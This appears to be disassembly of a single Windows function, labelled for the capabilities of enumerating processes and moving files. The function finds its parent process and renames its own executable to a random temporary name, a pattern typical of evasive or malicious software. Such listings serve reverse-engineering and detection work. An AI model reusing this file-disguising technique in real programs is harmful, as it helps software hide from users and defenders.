Function at 0x140001010
Capabilities:
Enumerate processes
Move file

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x8a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x890], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x14000107c
lea rdx, str.Error:_Unable_to_open_cmd.exe_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
mov rcx, rax
lea rdx, [0x140001400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001131
mov r8d, 0x104
lea rdx, [rsp + 0x470]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1400010a0
lea rdx, str.Error:_Unable_to_get_module_file_name
jmp 0x140001056
xor edx, edx
mov qword [rsp + 0x8b0], rbx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001101
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400010f8
nop dword [rax + rax]
mov rcx, rbx
cmp dword [rsp + 0x28], edi
je 0x140001152
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400010e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Error:_Unable_to_get_parent_process_ID
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
lea rdx, [0x140001400]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rbx, qword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x890]
xor rcx, rsp
call fcn.140001520
mov rsi, qword [rsp + 0x8b8]
add rsp, 0x8a0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001101
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001180
lea rdx, str.Error:_Unable_to_open_parent_process
jmp 0x140001108
mov r8d, 0x104
lea rdx, [rsp + 0x680]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1400011a7
lea rdx, str.Error:_Unable_to_get_module_file_name
jmp 0x140001108
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, ebx
lea rdx, str.tmp_RAND___RAND_.exe
mov r8d, eax
lea rcx, [rsp + 0x260]
call fcn.140001440
mov r8d, 1
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x1400011fb
lea rdx, str.Error:_Unable_to_rename_cmd.exe_executable
jmp 0x140001108
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001129